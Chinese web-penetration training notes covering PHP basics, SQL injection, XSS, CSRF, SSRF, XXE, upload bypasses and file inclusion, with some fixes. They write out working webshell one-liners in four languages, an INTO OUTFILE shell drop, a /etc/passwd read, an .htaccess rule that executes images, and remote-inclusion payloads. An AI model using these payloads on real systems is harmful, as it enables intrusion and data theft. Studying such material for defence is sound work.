版權說明:本文檔由用戶提供并上傳,收益歸屬內容提供方,若內容存在侵權,請進行舉報或認領
文檔簡介
講師:心東郵箱:
2010年開始關注網絡安全(腳本小子)
2014年接觸PHP(HTMLCSSJSPHPJS高級使用原生態(tài)發(fā)送AJAXJqueryDede二次開發(fā)等)
2015年在乙方安全公司擔任信息安全工程師(安全服務)7個月
2015年接觸python開發(fā)
2016年在乙方安全公司當然滲透測試工程師偏向于APT攻擊2年
問:為什么我要錄培訓?
1.表達能力
2.當講師是我小時候的理想
3.復習PHP
4.反正在家也沒什么事做
http協(xié)議簡單回顧請求的流程是怎么樣?請求頭會包含哪些信息?響應頭會包含哪些信息?什么是服務器?服務器有哪些?Apachenginxiis等Apache跟php的區(qū)別在哪?Mysql的區(qū)別又在哪?搭建WEB服務器首先準備的安裝包1.apache2.php3.mysqlPhp語法<?php//此處是PHP代碼?>PHP變量<?php//此處是PHP代碼?>PHP變量規(guī)則:變量以$符號開頭,其后是變量的名稱變量名稱必須以字母或下劃線開頭變量名稱不能以數字開頭變量名稱只能包含字母數字字符和下劃線(A-z、0-9以及_)變量名稱對大小寫敏感($y與$Y是兩個不同的變量)PHP變量引用//php引用變量:不同變量名指向同一地址。輸出信息EchoPrint_rvar_dump等數據類型1.字符串2.整型3.浮點型4.邏輯5.數組6.對象7.null字符串函數strlen()函數返回字符串的長度,以字符計。strpos()函數用于檢索字符串內指定的字符或文本。
PHP常量PHP常量常量是單個值的標識符(名稱)。在腳本中無法改變該值。有效的常量名以字符或下劃線開頭(常量名稱前面沒有$符號)。注釋:與變量不同,常量貫穿整個腳本是自動全局的。設置PHP常量如需設置常量,請使用define()函數-它使用三個參數:首個參數定義常量的名稱第二個參數定義常量的值可選的第三個參數規(guī)定常量名是否對大小寫不敏感。默認是false。PHP運算符(看筆記)PHPif...else...elseif語句PHP條件語句在PHP中,我們可以使用以下條件語句:if語句
-如果指定條件為真,則執(zhí)行代碼if...else語句
-如果條件為true,則執(zhí)行代碼;如果條件為false,則執(zhí)行另一端代碼if...elseifelse語句
-選擇若干段代碼塊之一來執(zhí)行switch語句
-語句多個代碼塊之一來執(zhí)行switchSwitch語句如果您希望有選擇地執(zhí)行若干代碼塊之一,請使用Switch語句。使用Switch語句可以避免冗長的if..elseif..else代碼塊。switch(1){ case1: #code... break;
default: #code... break;}while循環(huán)只要指定的條件為真,while循環(huán)就會執(zhí)行代碼塊。while(1){ #code...}continue
跳出本次循環(huán)break
跳出整個循環(huán)PHPfor循環(huán)PHPfor循環(huán)執(zhí)行代碼塊指定的次數for(initcounter;testcounter;incrementcounter){codetobeexecuted;}initcounter:初始化循環(huán)計數器的值testcounter::評估每個循環(huán)迭代。如果值為TRUE,繼續(xù)循環(huán)。如果它的值為FALSE,循環(huán)結束。incrementcounter:增加循環(huán)計數器的值<?phpfor($x=0;$x<=10;$x++){echo"數字是:$x<br>";}?>什么是函數?其實說白了函數就是一個半自動化機器人就是一個存儲代碼的一個盒子。你想使用他的時候就按一下開關。定義函數functionfunctionName(){
被執(zhí)行的代碼;}函數名能夠以字母或下劃線開頭(而非數字)。函數名對大小寫不敏感。函數名應該能夠反映函數所執(zhí)行的任務。在下面的例子中,我們創(chuàng)建名為"writeMsg()"的函數。打開的花括號({)指示函數代碼的開始,而關閉的花括號(})指示函數的結束。此函數輸出"Helloworld!"。如需調用該函數,只要使用函數名即可:形參跟實參靜態(tài)變量functiondemo(){ static$i=1;}1.在函數執(zhí)行完后,變量值仍然保存2.修飾屬性或方法,可以通過類名訪問,如果是修飾的是類的屬性,保留值函數傳參functiondemo($name,$edu){ echo'hello'.$name;}默認情況下,函數參數通過值傳遞(因而即使在函數內部改變參數的值,它并不會改變函數外部的值)。如果希望允許函數修改它的參數值,必須通過引用傳遞參數。內部變量與外部變量PHP中的全局變量global和$GLOBALS的區(qū)別?
1.global
Global的作用是定義全局變量,但是這個全局變量不是應用于整個網站,而是應用于當前頁面,包括include或require的所有文件。但是在函數體內定義的global變量,函數體內可以使用,在函數體外定義的global變量不能在函數體內使用,具體看下面示例。2.$GLOBALS在$GLOBALS數組中,每一個變量為一個元素,鍵名對應變量名,值對應變量的內容。$GLOBALS之所以在全局范圍內存在,是因為$GLOBALS是一個超全局變量。注意$GLOBALS的寫法,比如變量$a1,寫法為$GLOBALS['a1']。函數的returnfunctiondemo(){ return1;}引用傳參方式functiondemo(&變量名){}引用傳遞(pass-by-reference)過程中,被調函數的形式參數雖然也作為局部變量在堆棧中開辟了內存空間,但是這時存放的是由主調函數放進來的實參變量的地址。被調函數對形參的任何操作都被處理成間接尋址,即通過堆棧中存放的地址訪問主調函數中的實參變量。正因為如此,被調函數對形參做的任何操作都影響了主調函數中的。同理跟變量引用的原理是一樣的引用函數function&demo(){ static$i=0; echo$i;} $i++; return$i;demo();$b=&demo();$b=500;demo();跟上次一樣,都是指向一個內存,只不過他是通過return來指向的。數組什么是數組?數組就是在內存里有一塊連續(xù)的內存空間(堆空間),這里面可以保存多個數據,數據沒有數據類型的限制。數組基本語法*第一種$arr=array(元素1,元素2,元素3…);
//數據類型一定是數組*第二種$arr[]=元素1;
//定義一個$arr變量,將元素1添加進來$arr[]=元素2;
//將元素2添加到$arr變量中訪問數組數組本質是變量,訪問的時候就是直接使用變量,但是因為數組元素有多個,而系統(tǒng)沒有辦法直接區(qū)分到底用戶是訪問的哪一個,所以需要用戶在訪問數組的時候,使用數組下標(鍵名)語法:$數組變量[下標]數值下標:$arr[數值]字符串下標:$arr[‘字符串’]數組分類根據數組的下標的不同進行分類索引數組:當前數組的下標(鍵名)全是數字(整型)關聯(lián)數組:當前數組的下標全是字符串(使用最多)混合數組:數組的下標既有數字又有字符串
索引數組定義方式:系統(tǒng)自動分配下標定義方式:用戶手動分配下標系統(tǒng)分配所引方式1.系統(tǒng)是0開始分配下標,依次遞增12.用戶可以手動分配下標(下標不能重復:重復的效果就是覆蓋)3.如果用戶在某一處指定了下標,那么后續(xù)元素自動分配的下標從前面的最大值(索引)開始關聯(lián)數組關聯(lián)數組1.下標必須使用引號包含2.下標不允許重復,重復會覆蓋索引數組遍歷for要求:1.數組必須是索引數組2.所以必須是連續(xù)的索引3.索引必須從0開始才可以用for關聯(lián)或索引數組遍歷
如果數組是一個關聯(lián)數組,那么就完全不能使用for循環(huán)來進行遍歷。PHP提供了一個foreach來實現對數組元素的遍歷語法:foreach(數組as鍵值對$key=>$value){
//使用$key當做當前元素的下標
//使用$value當做當前元素的值}循環(huán)原理each()沒有循環(huán)的指針$arr=array('demo1'=>'woaini','demo2'=>2222,'demo3'=>333,'demo4'=>'vvvvv');var_dump(each($arr));//指針1var_dump(each($arr));//指針2var_dump(each($arr));var_dump(each($arr));List的用法list($first,$second,$third)=array('woaini','xihuanni','aisini');二維數組array(‘person1’=>array(‘name’=>‘張無忌’,’age’=>20,’power’=>‘九陽神功’),‘person2’=>array(‘name’=>‘周芷若’,’age’=>18,’power’=>‘九陰白骨爪’));說白了就是數組里含有數組就是二位數組如果再還有數組就是三維數組。。。同理依次往前推,數組有多少個數組就是多少維數組再看一下印象筆記數組的比較跟相關函數什么是時間戳?時間戳是自1970年1月1日(00:00:00GMT)以來的秒數。它也被稱為Unix時間戳(UnixTimestamp)。Unix時間戳(Unixtimestamp),或稱Unix時間(Unixtime)、POSIX時間(POSIXtime),是一種時間表示方式,定義為從格林威治時間1970年01月01日00時00分00秒起至現在的總秒數。Unix時間戳不僅被使用在Unix系統(tǒng)、類Unix系統(tǒng)中,也在許多其他操作系統(tǒng)中被廣泛采用。獲取時間戳Time()
//獲取當前時間戳Date//時間戳轉換日期時間時間戳轉日期Y:年(四位數)大寫
m:月(兩位數,首位不足補0)
小寫
d:日(兩位數,首位不足補0)
小寫
H:小時帶有首位零的24小時小時格式
h:小時帶有首位零的12小時小時格式
i:帶有首位零的分鐘
s:帶有首位零的秒(00-59)
a:小寫的午前和午后(am或pm)var_dump(date('Y-m-dH:i:s',1502204401));var_dump(date('Y-m-dh:i:s',1502204401));打開或者創(chuàng)建文件fopen()的第一個參數包含被打開的文件名,第二個參數規(guī)定打開文件的模式。$myfile=fopen("webdictionary.txt","r")ordie("Unabletoopenfile!");讀文件Fgets($find)//讀第一行文件Fread($find,獲取字節(jié))//指定獲取內容Filesize($find)//獲取文件字節(jié)Fclose($find)//關閉資源修改或添加內容Fopen(./1.xx,“a+”);Fwrite(‘文件’,’內容’);Fclose(find);//關閉資源刪除文件unlinkGet請求跟post請求區(qū)別原理區(qū)別一般我們在瀏覽器輸入一個網址訪問網站都是GET請求;再FORM表單中,可以通過設置Method指定提交方式為GET或者POST提交方式,默認為GET提交方式。HTTP定義了與服務器交互的不同方法,其中最基本的四種:GET,POST,PUT,DELETE,HEAD,其中GET和HEAD被稱為安全方法,因為使用GET和HEAD的HTTP請求不會產生什么動作。不會產生動作意味著GET和HEAD的HTTP請求不會在服務器上產生任何結果。但是安全方法并不是什么動作都不產生,這里的安全方法僅僅指不會修改信息。根據HTTP規(guī)范,POST可能會修改服務器上的資源的請求。比如CSDN的博客,用戶提交一篇文章或者一個讀者提交評論是通過POST請求來實現的,因為再提交文章或者評論提交后資源(即某個頁面)不同了,或者說資源被修改了,這些便是“不安全方法”。PHP接受GET請求跟POST請求三元運算符MYSQL綜合創(chuàng)建數據庫創(chuàng)建表字段
添加數據
修改數據清空數據刪除數據
備份數據數據類型自增型搜索關鍵字分頁Mysqlnotnull跟default的使用Createtableadmin2(Usernamevarchar(20)notnull,Passworldvarchar(20)nulldefault1);Mysql數據類型文件包含其實說白了就是寫好了HTML款入到PHP里。。PHP操作MYSQL什么是面向對象?理解就好,安全行業(yè)懂代碼并不需要開發(fā)。COOKIE與session1.什么是cookie2.什么是session3.session操作Cookie跨域默認的,cookie只能對當前域名(完整域名:有效的二級域名)有效。cookie跨域:指的是允許cookie在不同的二級域名之間共享。(一級域名一致)PHP設置COOKIESetcookie(“名字”,值,有效時間,‘有效路徑’,“有效域");Setcookie("PHPSESSID",session_id(),time()+100,'/',"");文件上傳講師:心東郵箱:
2010年開始關注網絡安全(腳本小子)
2014年在廣州創(chuàng)智博客培訓PHP半年(HTMLCSSJSPHPJS高級使用原生態(tài)發(fā)送AJAXJqueryDede二次開發(fā)等)
2015年在乙方安全公司擔任信息安全工程師(安全服務)7個月
2015年接觸python開發(fā)
2016年在乙方安全公司當然滲透測試工程師偏向于APT攻擊2年
問:為什么我要錄培訓?
1.表達能力
2.當講師是我小時候的理想
3.復習PHP
4.反正在家也沒什么事做
什么是SQL注入?當客戶端提交的數據未做處理或轉義直接帶入數據庫就造成了SQL注入。1.布爾注入//返回真或假2.聯(lián)合注入//一起查詢3.延時注入//定時器查詢4.報錯注入//報錯但是信息是我們想要的SQL注入之聯(lián)合注入orderby*groupby*利用內置函數暴數據庫信息version()查看數據庫版本database()查看當前數據庫名user()查看當前用戶查看表:SelectTABLE_NAMEfrominformation_schema.TABLESwhereTABLE_SCHEMA=database()可十六進制查看字段:selectCOLUMN_NAMEfrominformation_schema.COLUMNSwhereTABLE_NAME=‘biaoming’;數據注入類型注入分為2大類1.整型(沒有單雙引號)2.字符串(有單雙引號)導出數據庫select‘<?phpeval($_POST[cmd])?>'intooutfile‘物理路徑'讀文件load_file(0x2f6574632f706173737764)錨點的理解#符是干嘛的?為什么要編碼?注入之布爾注入mid(str,1,3)字符串截取ORD()轉換成ascii碼Length()統(tǒng)計字節(jié)長度version()是查看數據庫版本
database()查看數據庫名user()查看當前用戶注入之延時注入If語法:if(條件,True,False);Select*fromadminwhereid=1andname=if(2>1,”1”,”2”);Sleep(1)注入之理解別名什么是別名?比如你真實名字叫劉某某小名就叫心東,心東就是你的別名報錯注入之BUG報錯利用數據庫的BUG進行利用,看報錯信息不過報錯的信息就是我們想要的信息只要是count(),rand,groupby三個連用就會造成這種報錯left(rand(),3)==不一定報錯floor(rand(0)*2)==一定報錯round(x,d)//x指要處理的數,d是指保留幾位小數Concat()//字符串拼接selectcount(*),concat(left(rand(),3),"",(selectversion()))xfromr1groupbyx;報錯注入之函數報錯利用數據庫的BUG進行利用,看報錯信息不過報錯的信息就是我們想要的信息函數很多比如:updatexmlexpgeometrycollectionpolygonmultipointmultilinestringmultipolygonmultilinestring修補SQL漏洞Addslashes字符串修補Int直接成INT類型判斷是否存在SQL注入整型跟字符串寬字節(jié)注入GB2312、GBK、GB18030、BIG5、Shift_JIS等這些都是常說的寬字節(jié),實際上只有兩字節(jié)。寬字節(jié)帶來的安全問題主要是吃ASCII字符(一字節(jié))的現象。MYSQL的字符集轉換過程3寬字節(jié)注入漏洞原理寬字符是指兩個字節(jié)寬度的編碼技術,如UNICODE、GBK、BIG5等。當MYSQL數據庫數據在處理和存儲過程中,涉及到的字符集相關信息包括:(1)
character_set_client:客戶端發(fā)送過來的SQL語句編碼,也就是PHP發(fā)送的SQL查詢語句編碼字符集。(2)
character_set_connection:MySQL服務器接收客戶端SQL查詢語句后,在實施真正查詢之前SQL查詢語句編碼字符集。(3)
character_set_database:數據庫缺省編碼字符集。(4)
character_set_filesystem:文件系統(tǒng)編碼字符集。(5)
character_set_results:SQL語句執(zhí)行結果編碼字符集。(6)
character_set_server:服務器缺省編碼字符集。(7)
character_set_system:系統(tǒng)缺省編碼字符集。
(8)
character_sets_dir:字符集存放目錄,一般不要修改。寬字節(jié)對轉義字符的影響發(fā)生在character_set_client=gbk的情況,也就是說,如果客戶端發(fā)送的數據字符集是gbk,則可能會吃掉轉義字符\,從而導致轉義消毒失敗。例子3就是一個存在寬字符注入漏洞的PHP程序。多語句注入用分號隔開Select1;select2;添加型注入SelectUpdateInsertdelete刪除型注入布爾注入延時注入修改型注入Cdn的理解全稱:ContentDeliveryNetwork或ContentDdistributeNetwork,即內容分發(fā)網絡1.CDN是怎么減輕源站服務器壓力的?答:CDN能處理整個網站頁面的70%~95%的內容訪問量,從而解決了網站的并發(fā)量,由此減輕了源服務器的訪問壓力,也同時提升了網站的性能、可擴展性以及安全性。2.CDN是怎么實現加速的?答:將網站原服務器中的內容存儲到分布于各地的緩存服務(CacheServer)中(也就是CDN的節(jié)點),通過智能的中心管理系統(tǒng)對網絡的動態(tài)流量進行分配控制,使用戶能以最快的速度從最接近用戶的地方獲得所需的信息,一般的靜態(tài)數據,如圖片、多媒體資料等將基本從CDN節(jié)點上讀取,這使得從源文件服務器上讀取的數據量大大減少。從而提高用戶訪問的響應速度和服務的可用性,解決Internet網絡擁塞狀況,提高用戶訪問網站的響應速度。防火墻1.CDN2.硬件防火墻3.軟件防火墻4.程序防火墻Insert,update,delete注入添加刪除修改注入都支持報錯注入判斷注入講師:心東郵箱:
2010年開始關注網絡安全(腳本小子)
2014年接觸PHP(HTMLCSSJSPHPJS高級使用原生態(tài)發(fā)送AJAXJqueryDede二次開發(fā)等)
2015年在乙方安全公司擔任信息安全工程師(安全服務)7個月
2015年接觸python開發(fā)
2016年在乙方安全公司當然滲透測試工程師偏向于APT攻擊2年
問:為什么我要錄培訓?
1.表達能力
2.當講師是我小時候的理想
3.復習PHP
4.反正在家也沒什么事做
什么是XSS?XSS攻擊全稱跨站腳本攻擊,是為不和層疊樣式表(CascadingStyleSheets,CSS)的縮寫混淆,故將跨站腳本攻擊縮寫為XSS,XSS是一種在web應用中的計算機安全漏洞,它允許惡意web用戶將代碼植入到提供給其它用戶使用的頁面中。1、盜取各類用戶帳號,如機器登錄帳號、用戶網銀帳號、各類管理員帳號2、控制企業(yè)數據,包括讀取、篡改、添加、刪除企業(yè)敏感數據的能力3、盜竊企業(yè)重要的具有商業(yè)價值的資料4、非法轉賬5、強制發(fā)送電子郵件6、網站掛馬7、控制受害者機器向其它網站發(fā)起攻擊了解JS,ajax什么是JS?答:JS是JavaScript的簡稱,是一種直譯式腳本語言,是一種動態(tài)類型、弱類型、基于原型的語言,內置支持類型。它的解釋器被稱為JavaScript引擎,為瀏覽器的一部分,廣泛用于客戶端的腳本語言,最早是在HTML網頁上使用,用來給HTML網頁增加動態(tài)功能。什么是AJAX?AJAX是一種用于創(chuàng)建快速動態(tài)網頁的技術。通過在后臺與服務器進行少量數據交換,AJAX可以使網頁實現異步更新。這意味著可以在不重新加載整個網頁的情況下,對網頁的某部分進行更新。傳統(tǒng)的網頁(不使用AJAX)如果需要更新內容,必需重載整個網頁面。有很多使用AJAX的應用程序案例:新浪微博、Google地圖、開心網等等。發(fā)送ajaxN年沒敲代,直接復制筆記的Ajax跨域1、允許單個域名訪問指定某域名()跨域訪問,則只需在文件頭部添加如下代碼:header('');2、允許多個域名訪問指定多個域名(、等)跨域訪問,則只需在文件頭部添加如下代碼:$origin=isset($_SERVER['HTTP_ORIGIN'])?$_SERVER['HTTP_ORIGIN']:'';$allow_origin=array('','');if(in_array($origin,$allow_origin)){header('Access-Control-Allow-Origin:'.$origin);}3、允許所有域名訪問允許所有域名訪問則只需在文件頭部添加如下代碼:header('Access-Control-Allow-Origin:*');存儲XSS什么是存儲XSS?答:存儲XSS,會把攻擊者的數據存儲在服務器端,攻擊行為將伴隨著攻擊數據一直存在。提交JS攻擊代碼存儲到數據庫然后再輸出、反射型XSS反射型xss攻擊:顧名思義,非持久型xss攻擊是一次性的,僅對當次的頁面訪問產生影響。非持久型xss攻擊要求用戶訪問一個被攻擊者篡改后的鏈接,用戶訪問該鏈接時,被植入的攻擊腳本被用戶游覽器執(zhí)行,從而達到攻擊目的。Dom-xssDOM:不經過后端,DOM—basedXSS漏洞是基于文檔對象模型DocumentObjeetModel,DOM)的一種漏洞,dom-xss是通過url傳入參數去控制觸發(fā)的。不跟服務器通信但是卻能執(zhí)行我們的攻擊JS代碼X-XSS-Protection講解說白了就是瀏覽器安全的一個策略簡單一句話:header(“X-XSS-Protection:0”);//告訴瀏覽器禁用XSS保護header("X-XSS-Protection:1");//告訴瀏覽器開啟XSS保護CRLF說白了就是響應頭注入修補XSS漏洞1.做處理(過濾)<script>alert(1);</script>><
script2.轉義閉合XSS代碼搭建XSS平臺
講師:心東郵箱:
2010年開始關注網絡安全(腳本小子)
2014年接觸PHP(HTMLCSSJSPHPJS高級使用原生態(tài)發(fā)送AJAXJqueryDede二次開發(fā)等)
2015年在乙方安全公司擔任信息安全工程師(安全服務)7個月
2015年接觸python開發(fā)
2016年在乙方安全公司當然滲透測試工程師偏向于APT攻擊2年
問:為什么我要錄培訓?
1.表達能力
2.當講師是我小時候的理想
3.復習PHP
4.反正在家也沒什么事做
了解CSRFCSRF(Cross-siterequestforgery)跨站請求偽造,也被稱為“OneClickAttack”或者SessionRiding。危害:依靠用戶標識危害網站利用網站對用戶標識的信任欺騙用戶的瀏覽器發(fā)送HTTP請求給目標站點另外可以通過IMG標簽會觸發(fā)一個GET請求,可以利用它來實現CSRF攻擊。CSRF攻擊演示那昨晚寫的漏洞演示。CSRF漏洞修補
防御CSRF攻擊:
目前防御CSRF攻擊主要有三種策略:驗證HTTPReferer字段;在請求地址中添加token并驗證;在HTTP頭中自定義屬性并驗證。XSS蠕蟲現在你已經學會了XSS跟ajax發(fā)送請求的原理,那么你可能想到過蠕蟲傳播。。。一個QQ空間存在存儲XSS然后發(fā)送一個AJAX請求提交添加說說說說的內容就是<scriptsrc=></script>JS內容:發(fā)送AJXA請求添加說說內容。Ssrf的了解SSRF(Server-SideRequestForgery:服務器端請求偽造)是一種由攻擊者構造形成由服務端發(fā)起請求的一個安全漏洞。一般情況下,SSRF攻擊的目標是從外網無法訪問的內部系統(tǒng)。(正是因為它是由服務端發(fā)起的,所以它能夠請求到與它相連而與外網隔離的內部系統(tǒng))Ssrf攻擊演示自己寫好的漏洞環(huán)境演示SSRF漏洞修補1,過濾返回信息,驗證遠程服務器對請求的響應是比較容易的方法。如果web應用是去獲取某一種類型的文件。那么在把返回結果展示給用戶之前先驗證返回的信息是否符合標準。2,統(tǒng)一錯誤信息,避免用戶可以根據錯誤信息來判斷遠端服務器的端口狀態(tài)。3,限制請求的端口為http常用的端口,比如,80,443,8080,8090。4,黑名單內網ip。避免應用被用來獲取獲取內網數據,攻擊內網。5,禁用不需要的協(xié)議。僅僅允許http和https請求。可以防止類似于file:///,gopher://,ftp://等引起的問題。了解XXE說白了就是XML的一個實體注入。回去把(xml視頻看一遍)。XXE攻擊演示昨晚寫好的漏洞看演示1.可以ssrf2.讀文件3.執(zhí)行命令4.掃描端口相關文章:
XXE修補漏洞方案一、使用開發(fā)語言提供的【禁用外部實體】PHP:libxml_disable_entity_loader(true);JAVA:DocumentBuilderFactorydbf=DocumentBuilderFactory.newInstance();dbf.setExpandEntityReferences(false);Python:fromlxmlimportetreexmlData=etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))方案二、過濾用戶提交的XML數據關鍵詞:<!DOCTYPE和<!ENTITY,或者,SYSTEM和PUBLIC。libxml2.9.1及以后,默認不解析外部實體WEBSHELLasp:<%execute(request("cmd"))%>Php:<?phpeval($_POST[cmd]);?>ASP.NET:<%@PageLanguage="Jscript"%><%Response.Write(eval(Request.Item["z"],"unsafe"));%>Jsp:<%if(request.getParameter("f")!=null)(newjava.io.FileOutputStream(application.getRealPath("/")+request.getParameter("f"))).write(request.getParameter("t").getBytes());%>空字節(jié)理解當字符串有%00(空字節(jié)),就會被服務器似作為結束符。基本流程1.圖片是否正常上傳2.圖片上傳內容是否被感染(內容替換)3.上傳的域名是否是目標服務器3.1如果不是那么判斷圖片服務器是否解析(phpaspaspxjspcfmshtml等)4.上傳的目錄是否支持解析(phpaspaspxjspcfmshtml等)5.判斷是否黑白名單驗證文件上傳之JS驗證繞過JS即可。文件上傳空字節(jié)截斷上傳文件上傳黑名單驗證白名單驗證:只能允許某某某上傳黑名單驗證:不能允許某某某上傳可以嘗試php3php4php5,phtml或者使用服務解析漏洞等文件二次上傳看原理。。。。。演示完看FCK案例。文件上傳分析根據文件名或者路徑判斷代碼。mime類型MIME(MultipurposeInternetMailExtensions)多用途互聯(lián)網郵件擴展類型。是設定某種擴展名的文件用一種應用程序來打開的方式類型,當該擴展名文件被訪問的時候,瀏覽器會自動使用指定應用程序來打開。多用于指定一些客戶端自定義的文件名,以及一些媒體文件打開方式。每個MIME類型由兩部分組成,前面是數據的大類別,例如聲音audio、圖象image等,后面定義具體的種類。常見的MIME類型(通用型):超文本標記語言文本.htmltext/htmlxml文檔.xmltext/xmlXHTML文檔.xhtmlapplication/xhtml+xml普通文本.txttext/plainRTF文本.rtfapplication/rtfPDF文檔
.pdfapplication/pdfMicrosoftWord文件
.wordapplication/msword圖片.jpg:image/jpegIis解析漏洞使用iis5.x-6.x版本的服務器,大多為windowsserver2003,網站比較古老,開發(fā)語句一般為asp;該解析漏洞也只能解析asp文件,而不能解析aspx文件。目錄解析(6.0)形式:
原理:服務器默認會把.asp,.asa目錄下的文件都解析成asp文件。文件解析形式:
原理:服務器默認不解析;號后面的內容,因此xx.asp;.jpg便被解析成asp文件了。解析文件類型IIS6.0默認的可執(zhí)行文件除了asp還包含這三種:/test.asa
/test.cer
/test.cdxapache解析漏洞漏洞原理
Apache解析文件的規(guī)則是從右到左開始判斷解析,如果后綴名為不可識別文件解析,就再往左判斷。比如test.php.owf.rar“.owf”和”.rar”這兩種后綴是apache不可識別解析,apache就會把wooyun.php.owf.rar解析成php。漏洞形式
其余配置問題導致漏洞(1)如果在Apache的conf里有這樣一行配置AddHandlerphp5-script.php這時只要文件名里包含.php即使文件名是test2.php.jpg也會以php來執(zhí)行。
(2)如果在Apache的conf里有這樣一行配置AddTypeapplication/x-httpd-php.jpg即使擴展名是jpg,一樣能以php方式執(zhí)行。nginx解析漏洞
漏洞原理
Nginx默認是以CGI的方式支持PHP解析的,普遍的做法是在Nginx配置文件中通過正則匹配設置SCRIPT_FILENAME。當訪問這個URL時,$fastcgi_script_name會被設置為“phpinfo.jpg/1.php”,然后構造成SCRIPT_FILENAME傳遞給PHPCGI,但是PHP為什么會接受這樣的參數,并將phpinfo.jpg作為PHP文件解析呢?這就要說到fix_pathinfo這個選項了。如果開啟了這個選項,那么就會觸發(fā)在PHP中的如下邏輯:PHP會認為SCRIPT_FILENAME是phpinfo.jpg,而1.php是PATH_INFO,所以就會將phpinfo.jpg作為PHP文件來解析了漏洞形式
IIS7.5解析漏洞IIS7.5的漏洞與nginx的類似,都是由于php配置文件中,開啟了cgi.fix_pathinfo,而這并不是nginx或者iis7.5本身的漏洞。PS:
a.aspx.a;.a.aspx.jpg..jpg.net上傳一般支持ASPX默認都會支持ashxphtml上傳在apache配置文件(一般是httpd.conf)里添加
AddTypeapplication/x-httpd-php.phtml這樣phtml后綴的文件就會按照php去解析,也可以設置成其他后綴
.htaccess上傳<Files*.jpg>ForceTypeapplication/x-httpd-phpSetHandlerapplication/x-httpd-php</Files>雙文件上傳找已知上傳漏洞什么是DNS?Sql注入利用DNS注入的原理
dns指向src2.ccSrc2.cc是DNS服務器DNS在解析的時候會留下日志簡單來說就是把信息放在高級域名中,傳遞到自己這,然后讀取日志,獲取信息。Sql注入利用DNS注入showvariableslike"skip_name_resolve%";mid(str,1,3)字符串截取ORD()轉換成ascii碼Length()統(tǒng)計字節(jié)長度version()是查看數據庫版本
database()查看數據庫名user()查看當前用戶HEX()十六進制load_file()文件包含原理客戶端提交過去,服務端進行包含文件包含之日志包含得知Apache日志使用包含文件包含之截斷包含使用空字節(jié)利用PHP協(xié)議包含我們都知道FTPhttpfile協(xié)議。那么同理。http超文本傳輸協(xié)議File協(xié)議本地文件傳輸協(xié)議那么php協(xié)議就是輸入/輸出流比如:$file_in=file_get_contents("php://input");開啟PHP協(xié)議必須要allow_url_include&&allow_url_fopen為On才可以遠程文件包含
條件:allow_url_include&&allow_url_fopen為On才可以smb協(xié)議包含之前說FTPhttpfile協(xié)議包含都可以SMB也不例外。\\src2.cc\d\1.txt利用data協(xié)議包含data:text/plain,<?phpechophpinfo();?>PHP輸入輸出流php://filter/convert.base64-encode/resource=./demo2.php文件讀取或下載原理客戶端提交過去,服務端進行讀取,類似于SSRF。文件讀取攻擊思路結合文件包含即可(大部分)PHP代碼執(zhí)行eval()
preg_replace()create_function()assert() array_map()call_user_func()/call_user_func_array()array_filter()usort()、uasort()$_GET['a']($_GET['b']);相關文章:PHP命令執(zhí)行exec()、system()、popen()、passthru()、proc_open()、pcntl_exec()、shell_exec()、反引號`實際上是使用shell_exec()函數PHP反序列化漏洞什么是反序列化?比如一個數組轉換成字符串那么就需要序列化,然后變成字符串原理相同,反序列化的意思是講字符串變成數組一些反序列化的文章
一些遠程代碼執(zhí)行的漏洞遠程代碼漏洞存在的CMS或者一些知名的框架很多。。比如struts2等。什么是設計缺陷-邏輯錯誤?某些功能比如提現密碼重置未授權訪問驗證碼未刷新等。。。簡單一句話就是某種功能存在bug。密碼重置漏洞怎么找這種漏洞?這個得看個人經驗,以及分析經驗。如果你想學就多看看密碼找回的漏洞。這種漏洞的檢測技巧是千變萬化。密碼重置分很多種方法比較常見的有驗證碼驗證,郵箱發(fā)送,回答密保問題等。。。。密碼重置挖掘看了許多文章,結合你的思路,并且結合你的編程能力,進行挖掘。提現漏洞怎么找這種漏洞?這個得看個人經驗,以及分析經驗。如果你想學就多看看提現漏洞的過程。這種漏洞的檢測技巧也是千變萬化??戳嗽S多文章,然后結合你的思路,并且結合你的編程能力,進行挖掘。驗證碼漏洞分兩種:1.驗證碼輸入對沒有進行一個刷新。2.驗證碼可識別怎么修補邏輯漏洞?這個修補思路不是死的,關鍵的看他功能是怎么實現的,才能提供修補思路比如郵箱發(fā)送之后重置又比如驗證碼發(fā)送。。。。驗證與授權的過程驗證跟授權不是一個意思。別搞錯了。未授權訪問漏洞說白了就是不需要驗證授權你就可以直接訪問那個頁面(那個頁面必須要有功能給你操作或敏感信息輸出給你才可以叫做未授權訪問漏洞)未授權操作漏洞跟未授權訪問漏洞基本一個意思,未授權訪問提供頁面提供功能輸出給你,而未授權操作是只能看到操作信息或沒有操作信息、越權什么是信息泄露?暴露了一些信息比如路徑泄露CMS泄露服務器類型泄露一些日志泄露可提供思路給黑客進行一個滲透才叫信息泄露路徑泄露存在SQL注入Google用法
#用于收集子域名
不要輸入WWWintitle:管理登錄filetype:php
#標題中帶有管理登錄并且還是PHP語言的inurl:login.php#只要URL包含了login.php都會列出intext#正文中存在關鍵字的頁面intitle#標題中存在的關鍵字網頁info#一些基本信息inurl#URL存在關鍵字的網頁filetype#搜索指定文件類型找網站路徑答:方法很多多到說不完。。判斷網站CMS。1.判斷的網站使用了什么CMS或框架。2.判斷是私人開發(fā)的還是購買了CMS的源碼還是用了免費開源的CMS的
溫馨提示
- 1. 本站所有資源如無特殊說明,都需要本地電腦安裝OFFICE2007和PDF閱讀器。圖紙軟件為CAD,CAXA,PROE,UG,SolidWorks等.壓縮文件請下載最新的WinRAR軟件解壓。
- 2. 本站的文檔不包含任何第三方提供的附件圖紙等,如果需要附件,請聯(lián)系上傳者。文件的所有權益歸上傳用戶所有。
- 3. 本站RAR壓縮包中若帶圖紙,網頁內容里面會有圖紙預覽,若沒有圖紙預覽就沒有圖紙。
- 4. 未經權益所有人同意不得將文件中的內容挪作商業(yè)或盈利用途。
- 5. 人人文庫網僅提供信息存儲空間,僅對用戶上傳內容的表現方式做保護處理,對用戶上傳分享的文檔內容本身不做任何修改或編輯,并不能對任何下載內容負責。
- 6. 下載文件中如有侵權或不適當內容,請與我們聯(lián)系,我們立即糾正。
- 7. 本站不保證下載資源的準確性、安全性和完整性, 同時也不承擔用戶因使用這些下載資源對自己和他人造成任何形式的傷害或損失。
最新文檔
- 分包商擔保合同的賠償責任
- 散熱器招標文件及合同的履行地點
- 試劑與耗材購銷合同
- 五保供養(yǎng)合同書
- 硝酸鉀化肥銷售協(xié)議
- 建筑分包合同的勞務條款
- 快樂成長托兒所寶寶照顧合同
